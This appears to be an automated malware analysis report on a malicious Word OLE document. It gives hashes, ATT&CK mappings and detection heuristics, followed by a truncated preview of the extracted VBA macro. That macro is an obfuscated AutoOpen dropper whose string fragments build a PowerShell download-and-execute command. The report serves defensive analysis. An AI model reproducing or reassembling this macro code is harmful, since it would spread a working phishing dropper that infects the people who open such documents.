Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1653640c08e83360…

MALICIOUS

Office (OLE)

255.9 KB First seen: 2018-01-08
MD5: 4668e9844b45bffdcaf4e750a2743818 SHA-1: 729d9d7c131030b48c9430261325439c34420fd0 SHA-256: 1653640c08e833600ee74e8488c8c09313784e0a17a8afa0bf9a03e58c8aca8c
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, strongly suggesting the macro attempts to download and execute a secondary payload. The ClamAV signature 'Img.Dropper.PhishingLure-6443153-0' further supports its malicious nature as a dropper for phishing lures.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 86517 bytes
SHA-256: c2e0fa606ead6e5ecc8c982693cac052d5bdf1a9543c8ca64eeda1db6649208e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lTqqjZfsiZquw"
Function pPBIkKMj()
On Error Resume Next
kECvFcQSUhI = (IIwEBbHDQEEZHz - Rnd(43 * Tan(MoPwVshBdkwvl)) / rlvaYjfKIBW * Oct(iCTBnrhq) * vjYDFbG / Oct(TCfWbZTJzi - Chr(250) + 581 - ChrB(MBjOaMNii)) - 389 + zHOvavEXXSF)
tRQCztpBMR = (hZziYMwj - Rnd(43 * Tan(twVsOBCr)) / LKbkbWOjkPP * Oct(XJhiBwEb) * smVXdpjVASulZ / Oct(ZjzzdTp - Chr(250) + 581 - ChrB(hQwWpnJMDzQ)) - 389 + TYGMwhiNjwUY)
raEjmb = (WnBOOUzdzMk) + Mid("swGm'5oKa5oK+5oKd5oK+5oKF'+'5oK+5odDj+dDjKile(RM5oK+5dDwWw00BnmX", 5, 51)
RdFvZCqjX = (pozqmCczro - Rnd(43 * Tan(OdzPSzqr)) / XsVuRbAdOmbQNn * Oct(rPjZLBil) * zASajmZj / Oct(IBzTEZLBzkF - Chr(250) + 581 - ChrB(sApnYDNR)) - 389 + upHLvRIZzbMv)
tBEJdBkW = (kMFZjArUXWFJ - Rnd(43 * Tan(fLorqXuzuC)) / MVzIVjiSaNkiRQ * Oct(QAOlfWrPLoB) * AiuipKGMOBjzqs / Oct(jIuhXbOHtiJWc - Chr(250) + 581 - ChrB(GnTTiinfiu)) - 389 + KDNORPuniH)
SroPH = (dnHjLPuNMqHJIC - Rnd(43 * Tan(BJtQDuCZAsD)) / XsrbNoR * Oct(mqsAjusaYPA) * LhBomhD / Oct(aNGrIMX - Chr(250) + 581 - ChrB(UOtVqWpLQs)) - 389 + ICcAlrAqqqCo)
UFFIFD = (FmOXKKOJCzfzH) + Mid("F2PcNOTI55rzrsVzrPAaCedDj+dDj5swi0Ya5dSNi2kj", 20, 11)
lKmSIYSz = (QHiXlWAz - Rnd(43 * Tan(oirHNQfIOzDd)) / NMXBtcS * Oct(itNzWMpLs) * ifOfjMFAA / Oct(mZjDdQtRzkdY - Chr(250) + 581 - ChrB(SFldIrDqzVhZ)) - 389 + lijKvsbicJJJVF)
kkTKOwa = (NlNASMlFm - Rnd(43 * Tan(iAsqFlAZ)) / NitozQEdG * Oct(jABrwwQiSX) * ZXtDNqPKduSm / Oct(zkTzOkOiij - Chr(250) + 581 - ChrB(KcItupH)) - 389 + CjnLzklaoTdb)
ucuTsP = (zJwuoEBiifKl - Rnd(43 * Tan(olwwpwbUmllTl)) / tSApIlbw * Oct(iooFIiraHmXU) * KAGcTPK / Oct(LaCrHMipCz - Chr(250) + 581 - ChrB(pCRJBrSp)) - 389 + KdjOsqIAifSMoK)
LUTnQKnNTT = (XLIoGwwZu) + Mid("kdFqivBWcbjv057+['+'ChAR]121+[ChAR]65),[ChAR]124-CREPLACE '+' ([ChAR]87+[ChAR]100+[ChAR]116),['+'ChAR]36-RePLaCe([CMwG3napX8b", 14, 102)
RoWEJDBzd = (NcuOcSPhJ - Rnd(43 * Tan(vnntlhVPonkksJ)) / TMdKZOBHsw * Oct(OfRWrAtjsXMqAs) * EpoidkkpI / Oct(mXjktfv - Chr(250) + 581 - ChrB(lTpwRvjrLRBHWd)) - 389 + GKMTOTPdq)
cUitUiHYR = (WjdiIavbB - Rnd(43 * Tan(jBZsWROE)) / iBJCCPAzFqZG * Oct(jZPjTwX) * mtscVsbnjz / Oct(DRFRNdbS - Chr(250) + 581 - ChrB(dpkbBfUA)) - 389 + qwRhLwIRZjX)
WbZaFhQ = (OZdFXtulYTnBj - Rnd(43 * Tan(GdZhMhiV)) / zpBpHhPSKqdOr * Oct(EpaThqJDHjw) * jWRikOtjdQ / Oct(DnDIBcLFuO - Chr(250) + 581 - ChrB(UsmNwif)) - 389 + hUtkBtAfFPVHzo)
dEiqoX = (QFcJwwrR) + Mid("q'ensi5dDj+dDjoK+bYNUwAhrlCrMFp", 2, 16)
EImiTD = (KWsSCjbHBC - Rnd(43 * Tan(iOswIQbqXbJsw)) / WGJJwEuvjTTsJ * Oct(wtsbnHnSTAzAzq) * zAdtcjd / Oct(wFwzifZcQ - Chr(250) + 581 - ChrB(dudiiFrC)) - 389 + mIJwGEu)
jTPJsOmZj = (uJbcjjvrGpfAUf - Rnd(43 * Tan(vwpXlsGmC)) / jpVFWizLbMMurn * Oct(oqsfmjFbo) * mmOSEnWZh / Oct(qZlkKfotTABGBG - Chr(250) + 581 - ChrB(BOHQPdOhsksltX)) - 389 + pUKqaOFIUG)
wZtfPvjrFU = (tXjtUwWOSYCa - Rnd(43 * Tan(qJoJstouHnS)) / LaBoMQizStl * Oct(ClHYWARwFqd) * GMwQQrmjR / Oct(JVUaFHUdJ - Chr(250) + 581 - ChrB(XOGGlPXGWWUUzj)) - 389 + zURhaHBIkbmD)
BolkJ = (SpwjSTbuWoJE) + Mid("HV0FnQ6z4974wJMf5odDj+dDjK+5oKf'+'5oK'+'+5oKran5oK+5oKc5oK+5oK '+'dDj+dDj= 5oK+5oAawhWrrKBnBBcL8bzQo", 15, 67)
EjoCOjz = (MHnMflIUCZPIR - Rnd(43 * Tan(crtASuuWvK)) / vKfiwFmJXQG * Oct(jEGcZUwaMsXwWL) * CMwqMcjj / Oct(dlGTcztCVwM - Chr(250) + 581 - ChrB(LRVBwkTCnhMkzk)) - 389 + bZuQAUiznNizNz)
HlzPwRZLSWr = (wzzjaHj - Rnd(43 * Tan(TiKWNcIWFMPz)) / hMwTNZF * Oct(XKGsmpkmPYKIO) * qdTBrnmbjHdzP / Oct(AQMhitvYDian - Chr(250) + 581 - ChrB(kqoErprVVA)) - 389 + iRBvazPm)
UwJoACS = (hnvZVWsB - Rnd(43 * Tan(cbhMajShn)) / mGDTFnlkt * Oct(AkfYnnr) * OsIFLjr / Oct(qllJctB - Chr(250) + 581 - ChrB(FFdUqljlzwRswJ)) - 389 + npOTvJhvWc)
XkznHACDZ = (cYwMquaoPs) + Mid("zrGAr]39  -CRepLaCE ([cHAr]49+[cHAr]89+[cHAr]68),[cHAr]124  -CRepLaCE ([cHAr]97+[cHAr]65+[cHAr]71),[cHAr]36)) uUCvWR5tskCU7chFrNtKh2ac", 4, 107)
wlTNSTfNH = (zlzLcdVuSa - Rnd(43
... (truncated)

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